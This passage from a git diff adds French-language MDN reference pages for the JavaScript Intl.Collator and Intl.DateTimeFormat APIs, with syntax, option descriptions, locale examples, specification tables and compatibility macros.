console.log(new Intl.Collator().compare('a', 'c')); // → une valeur négative
+console.log(new Intl.Collator().compare('c', 'a')); // → une valeur positive
+console.log(new Intl.Collator().compare('a', 'a')); // → 0
+
+ +

Les résultats indiqués sont génériques et en pratique peuvent varier entre les navigateurs et les versions des navigateurs. En effet les valeurs obtenues dépendent de l'implémentation. Les spécifications indiquent uniquement le signe (positif ou négatif) du résultat.

+ +

Utiliser locales

+ +

Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} varient selon les locales. Afin d'obtenir le bon ordre lexicographique dans votre application, il est nécessaire de spécifier la locale de l'utilisateur (et éventuellement des locales pour des cas de replis) en utilisant l'argument locales :

+ +
// en allemand, 'ä' est équivalent à 'a' pour le tri
+console.log(new Intl.Collator("de").compare("ä", "z"));
+// → une valeur négative
+
+// en suédois, 'ä' arrive après 'z'
+console.log(new Intl.Collator("sv").compare("ä", "z"));
+// → une valeur positive
+
+ +

Utiliser options

+ +

Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} peuvent être adaptés grâce à l'argument options :

+ +
// en allemand, 'ä' est composé de la lettre de base 'a'
+console.log(new Intl.Collator("de", {sensitivity: "base"}).compare("ä", "a"));
+// → 0
+
+// en suédois, 'ä' et 'a' sont distincts en termes de base
+console.log(new Intl.Collator("sv", {sensitivity: "base"}).compare("ä", "a"));
+// → une valeur positive
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.1', 'Intl.Collator')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.1', 'Intl.Collator')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#collator-objects', 'Intl.Collator')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Collator")}}

+ +

Voir aussi

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html new file mode 100644 index 0000000000..d7cd3ad5e0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html @@ -0,0 +1,98 @@ +--- +title: Intl.Collator.prototype.resolvedOptions() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/resolvedOptions +tags: + - Collator + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions +--- +
{{JSRef}}
+ +

La méthode Intl.Collator.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de locale et de collation calculées à l'initialisation de l'objet {{jsxref("Collator")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-resolvedoptions.html")}}
+ + + +

Syntaxe

+ +
collator.resolvedOptions()
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés reflètent les options de locale et de collations calculées lors de l'initialisation de l'objet {{jsxref("Collator")}}.

+ +

Description

+ +

L'objet renvoyé par cette méthode contient les propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
+
usage
+
sensitivity
+
ignorePunctuation
+
Les valeurs demandées pour ces propriétés via l'argument options ou celles utilisées par défaut.
+
collation
+
La valeur demandée pour l'extension Unicode "co" si elle est supportée par la locale utilisée, sinon "default".
+
numeric
+
caseFirst
+
Les valeurs demandées pour ces propriétés via l'argument options ou l'utilisation des extensions Unicode "kn" et "kf" ou les valeurs par défaut. Si l'implémentation utilisée ne supporte pas ces propriétés, elles sont omises.
+
+ +

Exemples

+ +
var de = new Intl.Collator('de', { sensitivity: 'base' })
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;            // "de"
+usedOptions.usage;             // "sort"
+usedOptions.sensitivity;        // "base"
+usedOptions.ignorePunctuation; // false
+usedOptions.collation;         // "default"
+usedOptions.numeric;           // false
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.resolvedOptions', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Collator.resolvedOptions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Collator", "Intl.Collator")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html new file mode 100644 index 0000000000..6b5bdb5414 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html @@ -0,0 +1,98 @@ +--- +title: Intl.Collator.supportedLocalesOf() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/supportedLocalesOf +tags: + - Collator + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf +--- +
{{JSRef}}
+ +

La méthode Intl.Collator.supportedLocalesOf() renvoie, parmi les locales fournies, un tableau contenant les locales supportées et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.

+ +
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-supportedlocalesof.html")}}
+ + + +

Syntaxe

+ +
Intl.Collator.supportedLocalesOf(locales [, options])
+ +

Paramètres

+ +
+
locales
+
Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
+
options{{optional_inline}}
+
+

Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :

+ +
+
localeMatcher
+
+

L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.

+
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour la collation sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.

+ +

Description

+ +

Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument locales. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de collation (comparaison) et qui ne nécessitent pas d'utiliser la locale par défaut.

+ +

Exemples

+ +

Si on dispose d'un environnement (un navigateur par exemple) qui supporte la comparaison de chaînes dans les locales indonésienne, allemande mais pas balinaise,  supportedLocalesOf renvoie les balises pour l'indonésien et l'allemand quand bien même la collation avec pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme "lookup". SI on utilisait "best fit" pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.

+ +
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.Collator.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.supportedLocalesOf', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Collator.supportedLocalesOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Collator", "Intl.Collator")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html new file mode 100644 index 0000000000..06acb8065b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html @@ -0,0 +1,126 @@ +--- +title: Intl.DateTimeFormat.prototype.format +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/format +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format +--- +
{{JSRef}}
+ +

La méthode Intl.DateTimeFormat.prototype.format() est un accesseur formate une date selon les options de locale et de format de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-format.html")}}
+ + + +

Syntaxe

+ +
dateTimeFormat.format(date)
+ +

Paramètres

+ +
+
date
+
La date à formater.
+
+ +

Description

+ +

L'accesseur format permet de formater une date en une chaîne de caractères en fonction des options de locale et de format définies pour l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

+ +

Exemples

+ +

Utiliser format

+ +

On peut utiliser la fonction renvoyée par l'accesseur format pour formater une date. Par exemple selon la locale serbe :

+ +
var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+var dateTimeFormat = new Intl.DateTimeFormat("sr-RS", options);
+console.log(dateTimeFormat.format(new Date()));
+// → "недеља, 7. април 2013."
+ +

Utiliser format avec map()

+ +

On peut également utiliser la fonction renvoyée par l'accesseur format pour formater toutes les dates d'un tableau. On observe que la fonction est liée à l'objet DateTimeFormat dont elle provient, on peut donc la passer directement à {{jsxref("Array.prototype.map()")}}.

+ +
var a = [new Date(2012, 08), new Date(2012, 11), new Date(2012, 03)];
+var options = {year: "numeric", month: "long"};
+var dateTimeFormat = new Intl.DateTimeFormat("pt-BR", options);
+var formatted = a.map(dateTimeFormat.format);
+console.log(formatted.join("; "));
+// → "setembro de 2012; dezembro de 2012; abril de 2012"
+ +

Comparaison des dates formatées et des valeurs statiques

+ +

La plupart du temps, le format renvoyé par format() est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.

+ +

Aussi, mieux vaut ne pas comparer un résultat fourni par format() avec une valeur statique :

+ +
let d = new Date("2019-01-01T00:00:00.000000Z");
+let formattedDate = Intl.DateTimeFormat(undefined, {
+  year: 'numeric',
+  month: 'numeric',
+  day: 'numeric',
+  hour: 'numeric',
+  minute: 'numeric',
+  second: 'numeric'
+}).format(d);
+
+"1.1.2019, 01:00:00" === formattedDate;
+// true pour Firefox et les autres
+// false pour IE et Edge
+
+ +
+

Note : Voir aussi ce fil StackOverflow pour plus de détails et d'exemples.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.format', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.format")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString")}}
    • +
  • {{jsxref("Date.prototype.toLocaleDateString")}}
    • +
  • {{jsxref("Date.prototype.toLocaleTimeString")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrange/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrange/index.html new file mode 100644 index 0000000000..1fbca49cc2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrange/index.html @@ -0,0 +1,82 @@ +--- +title: Intl.DateTimeFormat.prototype.formatRange() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRange +tags: + - Internationalisation + - Intl + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRange +--- +

{{JSRef}}

+ +

La méthode Intl.DateTimeFormat.prototype.formatRange() permet de formater un intervalle de dates de la façon la plus concise en fonction de la locale et des options fournies lors de l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-formatrange.html")}}
+ + + +

Syntaxe

+ +
Intl.DateTimeFormat.prototype.formatRange(dateDébut, dateFin)
+ +

Exemples

+ +

Utilisation simple de formatRange()

+ +

Cette méthode reçoit comme arguments deux objets {{jsxref("Date")}} et renvoie l'intervalle de la façon la plus concise possible (selon les options fournies lors de l'instanciation du formateur Intl.DateTimeFormat).

+ +
let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
+let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
+let date3 = new Date(Date.UTC(2007, 0, 20, 10, 0, 0));
+// > 'Wed, 10 Jan 2007 10:00:00 GMT'
+// > 'Wed, 10 Jan 2007 11:00:00 GMT'
+// > 'Sat, 20 Jan 2007 10:00:00 GMT'
+
+let fmt1 = new Intl.DateTimeFormat("en", {
+    year: '2-digit',
+    month: 'numeric',
+    day: 'numeric',
+    hour: 'numeric',
+    minute: 'numeric'
+});
+console.log(fmt1.format(date1));
+console.log(fmt1.formatRange(date1, date2));
+console.log(fmt1.formatRange(date1, date3));
+// > '1/10/07, 10:00 AM'
+// > '1/10/07, 10:00 – 11:00 AM'
+// > '1/10/07, 10:00 AM – 1/20/07, 10:00 AM'
+
+let fmt2 = new Intl.DateTimeFormat("en", {
+    year: 'numeric',
+    month: 'short',
+    day: 'numeric'
+});
+console.log(fmt2.format(date1));
+console.log(fmt2.formatRange(date1, date2));
+console.log(fmt2.formatRange(date1, date3));
+// > 'Jan 10, 2007'
+// > 'Jan 10, 2007'
+// > 'Jan 10 – 20, 2007'
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Intl.DateTimeFormat.prototype.formatRangeBrouillon de niveau 3
+ +

Voir aussi

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrangetoparts/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrangetoparts/index.html new file mode 100644 index 0000000000..593df591fb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrangetoparts/index.html @@ -0,0 +1,73 @@ +--- +title: Intl.DateTimeFormat.prototype.formatRangeToParts() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRangeToParts +tags: + - Internationalization + - JavaScript + - Localization + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRangeToParts +--- +

{{JSRef}}

+ +

La fonction Intl.DateTimeFormat.prototype.formatRangeToParts() permet, selon la locale utilisée, de représenter chaque élément de l'intervalle de dates via DateTimeFormat.

+ +

Syntaxe

+ +
Intl.DateTimeFormat.prototype.formatRangeToParts(dateDebut, dateFin)
+ +

Exemples

+ +

Usage basique de formatRangeToParts

+ +

Cette fonction reçoit deux Dates et retourne un Array d'objets contenant les élements qui représentent chaque partie de l'intervalle de date formatée, selon la locale utilisée.

+ +
let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
+let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
+// > 'Wed, 10 Jan 2007 10:00:00 GMT'
+// > 'Wed, 10 Jan 2007 11:00:00 GMT'
+
+let fmt = new Intl.DateTimeFormat("en", {
+    hour: 'numeric',
+    minute: 'numeric'
+});
+
+console.log(fmt.formatRange(date1, date2));
+// > '10:00 – 11:00 AM'
+
+fmt.formatRangeToParts(date1, date2);
+// retourne la valeur:
+// [
+//   { type: 'hour',      value: '10',  source: "startRange" },
+//   { type: 'literal',   value: ':',   source: "startRange" },
+//   { type: 'minute',    value: '00',  source: "startRange" },
+//   { type: 'literal',   value: ' – ', source: "shared"     },
+//   { type: 'hour',      value: '11',  source: "endRange"   },
+//   { type: 'literal',   value: ':',   source: "endRange"   },
+//   { type: 'minute',    value: '00',  source: "endRange"   },
+//   { type: 'literal',   value: ' ',   source: "shared"     },
+//   { type: 'dayPeriod', value: 'AM',  source: "shared"     }
+// ]
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
Intl.DateTimeFormat.prototype.formatRangeStage 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.formatRangeToParts")}}

diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html new file mode 100644 index 0000000000..8ec6657b12 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html @@ -0,0 +1,166 @@ +--- +title: Intl.DateTimeFormat.prototype.formatToParts() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatToParts +tags: + - DateTimeFormat + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts +--- +
{{JSRef}}
+ +

La méthode Intl.DateTimeFormat.prototype.formatToParts() permet de mettre en forme des chaînes de caractères avec des informations temporelles selon la locale utilisée.

+ +

Syntaxe

+ +
Intl.DateTimeFormat.prototype.formatToParts(date)
+ +

Paramètres

+ +
+
date {{optional_inline}}
+
La date qu'on souhaite mettre en forme.
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) d'objets qui contiennent les composants de la date mis en forme.

+ +

Description

+ +

La méthode formatToParts() est utile lorsqu'on souhaite mettre en forme des dates de façon personnalisée. Elle renvoie un tableau d'objets qui contiennent les fragments spécifiques à la locale, à partir desquels on peut construire des chaînes tout en conservant les parties spécifique à la locale. La structure de l'objet renvoyé par la méthode est semblable à celle-ci :

+ +
[
+  { type: "day", value: "17" },
+  { type: "weekday", value "Monday" }
+]
+ +

Les types possibles sont :

+ +
+
day
+
La chaîne utilisée pour désigner le jour, par exemple "17".
+
dayPeriod
+
La chaîne utilisée pour désigner le moment de la journée, par exemple "AM" (qui désigne la matinée, avant midi) ou "PM" (qui désigne l'après-midi).
+
era
+
La chaîne utilisée pour l'ère (par exemple "BC" ou "AD").
+
hour
+
La chaîne utilisée pour l'heure (par exemple "3" or "03").
+
literal
+
La chaîne utilisée pour séparée le jour de l'heure (par exemple " : , / ").
+
minute
+
La chaîne utilisée pour les minutes (par exemple "00").
+
month
+
La chaîne utilisée pour le mois (par exemple "12").
+
second
+
La chaîne utilisée pour les secondes (par exemple "02").
+
timeZoneName
+
La chaîne utilisée pour désigner le fuseau horaire (par exemple "UTC").
+
weekday
+
La chaîne de caractères utilisée pour le jour de la semaine, par exemple "M", "Monday" ou "Montag".
+
year
+
La chaîne utilisée pour désigner l'année (par exemple "2012" ou "96").
+
+ +

Exemples

+ +

DateTimeFormat produit des chaînes localisées opaques qui ne peuvent pas être manipulées directement :

+ +
var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+var formatter = new Intl.DateTimeFormat("en-us", {
+  weekday: 'long',
+  year: 'numeric',
+  month: 'numeric',
+  day: 'numeric',
+  hour: 'numeric',
+  minute: 'numeric',
+  second: 'numeric',
+  hour12: true,
+  timeZone: "UTC"
+});
+
+formatter.format(date);
+// "Monday, 12/17/2012, 3:00:42 AM"
+
+ +

Cependant, pour de nombreuses interfaces utilisateur, on peut vouloir personnaliser la mise en forme de cette chaîne de caractères. La méthode formatToParts permet une mise en forme dans le souci de la locale en manipulant les différentes composantes :

+ +
formatter.formatToParts(date);
+
+// return value:
+[
+  { type: 'weekday',   value: 'Monday' },
+  { type: 'separator', value: ', '     },
+  { type: 'month',     value: '12'     },
+  { type: 'literal', value: '/'      },
+  { type: 'day',       value: '17'     },
+  { type: 'literal', value: '/'      },
+  { type: 'year',      value: '2012'   },
+  { type: 'literal', value: ', '     },
+  { type: 'hour',      value: '3'      },
+  { type: 'literal', value: ':'      },
+  { type: 'minute',    value: '00'     },
+  { type: 'literal', value: ':'      },
+  { type: 'second',    value: '42'     },
+  { type: 'literal', value: ' '      },
+  { type: 'dayPeriod', value: 'AM'     }
+]
+
+ +

L'information étant décomposée, on peut alors la mettre en forme et la recomposée de façon adaptée :

+ +
var dateString = formatter.formatToParts(date).map(({type, value}) => {
+  switch (type) {
+    case 'dayPeriod': return `<strong>${value}</strong>`;
+    default : return value;
+  }
+}).reduce((string, part) => string + part);
+
+console.log(formatter.format(date));
+// "Monday, 12/17/2012, 3:00:42 AM"
+
+console.log(dateString);
+// "Monday, 12/17/2012, 3:00:42 <strong>AM</strong>"
+ +

Prothèse d'émulation (polyfill)

+ +

Une prothèse de cette fonctionnalité est disponible sur le dépôt décrivant la proposition de fonctionnalité.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.formatToParts', 'Intl.DateTimeFormat.prototype.formatToParts')}}{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.formatToParts")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.html new file mode 100644 index 0000000000..eb7c535c80 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -0,0 +1,297 @@ +--- +title: Intl.DateTimeFormat +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat +tags: + - Internationalisation + - Intl + - JavaScript + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat +--- +
{{JSRef}}
+ +

L'objet Intl.DateTimeFormat est un constructeur d'objets permettant de formatter des dates et des heures selon une langue.

+ +
{{EmbedInteractiveExample("pages/js/intl-datetimeformat.html")}}
+ + + +

Syntaxe

+ +
new Intl.DateTimeFormat([locales[, options]])
+Intl.DateTimeFormat.call(this[, locales[, options]])
+ +

Paramètres

+ +
+
locales{{optional_inline}}
+
+

Ce paramètre optionnel est une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour utiliser la locale par défaut du navigateur, on pourra omettre cet argument (ou passer la valeur undefined). Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :

+ +
+
nu
+
Système de numérotation. Les valeurs possibles incluent : "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
+
ca
+
Calendrier. Les valeurs possibles incluent : "buddhist", "chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "islamicc", "iso8601", "japanese", "persian", "roc".
+
hc
+
Le type de cycle horaire à utiliser. Les valeurs possibles sont "h11", "h12", "h23", "h24".
+
+
+
options
+
+

Un objet avec certaines ou toutes les propriétés suivantes :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}
+
timeZone
+
Le fuseau horaire à utiliser. La seule valeur que doivent reconnaitre les implémentations est "UTC" ; la valeur par défaut est le fuseau horaire du moteur JavaScript. Les implémentations peuvent aussi reconnaitre les noms de fuseau horaire de la base de données IANA de fuseaux horaires, tel que "Asia/Shanghai", "Asia/Kolkata", "America/New_York".
+
hour12
+
S'il faut utiliser le format horaire sur 12 heures (au lieu de celui-ci sur 24 heures). Les valeurs possibles sont true et false ; la valeur par défaut dépend de la locale. Cette option surcharge l'étiquette hc et/ou l'option hourCycle.
+
hourCycle
+
Le cycle horaire à utiliser. Les valeurs possibles sont "h11", "h12", "h23", "h24". Cette option surcharge l'étiquette hc mais sera remplacée par hour12 si cette dernière est présente.
+
formatMatcher
+
L'algorithme de correspondance à utiliser pour le formattage. Les valeurs possibles sont "basic" et "best fit" ; par défaut "best fit". Voir les paragraphes suivants pour des informations concernant l'usage de cette propriété.
+
+ +

Les propriétés suivantes décrivent les composants date-heure à utiliser pour le formattage de la sortie.  Les implémentations ont pour obligation de supporter au minimum les ensembles suivants :

+ +
    +
  • weekday, year, month, day, hour, minute, second
    • +
  • weekday, year, month, day
    • +
  • year, month, day
    • +
  • year, month
    • +
  • month, day
    • +
  • hour, minute, second
    • +
  • hour, minute
    • +
+ +

Les implémentations peuvent supporter d'autres sous-ensembles, et les demandes seront évaluées face à toutes les combinaisons de sous-ensembles disponibles pour trouver la meilleure correspondance. Deux algorithmes sont disponibles pour cette évaluation et choisis par la propriété formatMatcher : un algorithme "basic" complètement spécifié et un algorithme "best fit" dépendant de l'implémentation.

+ +
+
weekday
+
La représentation du jour de la semaine. Les valeurs possibles sont : +
    +
  • "long" (par exemple Thursday)
    • +
  • "short" (par exemple Thu)
    • +
  • "narrow" (par exemple T). Deux jours de la semaines pourront partager la même représentation dans certaines locales (par exemple, en anglais Tuesday sera également représenté avec T en notation étroite).
    • +
+
+
era
+
La représentation de l'ère. Les valeurs possibles sont : +
    +
  • "long" (par exemple Anno Domini)
    • +
  • "short" (par exemple AD)
    • +
  • "narrow" (par exemple A)
    • +
+
+
year
+
La représentation de l'année. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 2012)
    • +
  • "2-digit" (par exemple 12)
    • +
+
+
month
+
La représentation du mois. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 2)
    • +
  • "2-digit" (par exemple 02)
    • +
  • "long" (par exemple March)
    • +
  • "short" (par exemple Mar)
    • +
  • "narrow" (par exemple M). Dans certaines locales, deux mois pourront partager la même représentation avec le style étroit (par exemple, May en anglais, sera également représenté avec M).
    • +
+
+
day
+
La représentation du jour. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 1)
    • +
  • "2-digit" (par exemple 01)
    • +
+
+
hour
+
La représentation de l'heure. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 1)
    • +
  • "2-digit" (par exemple 01)
    • +
+
+
minute
+
La représentation des minutes. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 1)
    • +
  • "2-digit" (par exemple 01)
    • +
+
+
second
+
La représentation des secondes. Les valeurs possibles sont : +
    +
  • "numeric" (par exemple 1)
    • +
  • "2-digit" (par exemple 01)
    • +
+
+
timeZoneName
+
La représentation du fuseau horaire. Les valeurs possibles sont : +
    +
  • "long" (par exemple British Summer Time)
    • +
  • "short" (par exemple GMT+1)
    • +
+
+
+ +

La valeur par défaut pour chaque composante est {{jsxref("undefined")}}, mais si toutes les composantes valent undefined, alors year, month, et day seront considérés comme "numeric".

+
+
+ +

Description

+ +

Propriétés

+ +
+
{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}
+
Permet l'ajout de propriétés à tous les objets.
+
+ +

Méthodes

+ +
+
{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}
+
Renvoie un tableau contenant les locales supportées parmis les locales fournies, sans qu'il soit nécessaire de recourir à la locale par défaut de l'implémentation.
+
+ +

Instances de DateTimeFormat

+ +

Propriétés

+ +

Les instances de DateTimeFormat() héritent des propriétés suivantes depuis leur prototype :

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Properties')}}
+ +

Méthodes

+ +
+

Les instances de DateTimeFormat() héritent des propriétés suivantes depuis leur prototype :

+{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Méthodes')}}
+ +

Exemples

+ +

Utiliser DateTimeFormat()

+ +

Dans une utilisation basique sans préciser de locale, DateTimeFormat() utilise la locale et les options par défaut

+ +
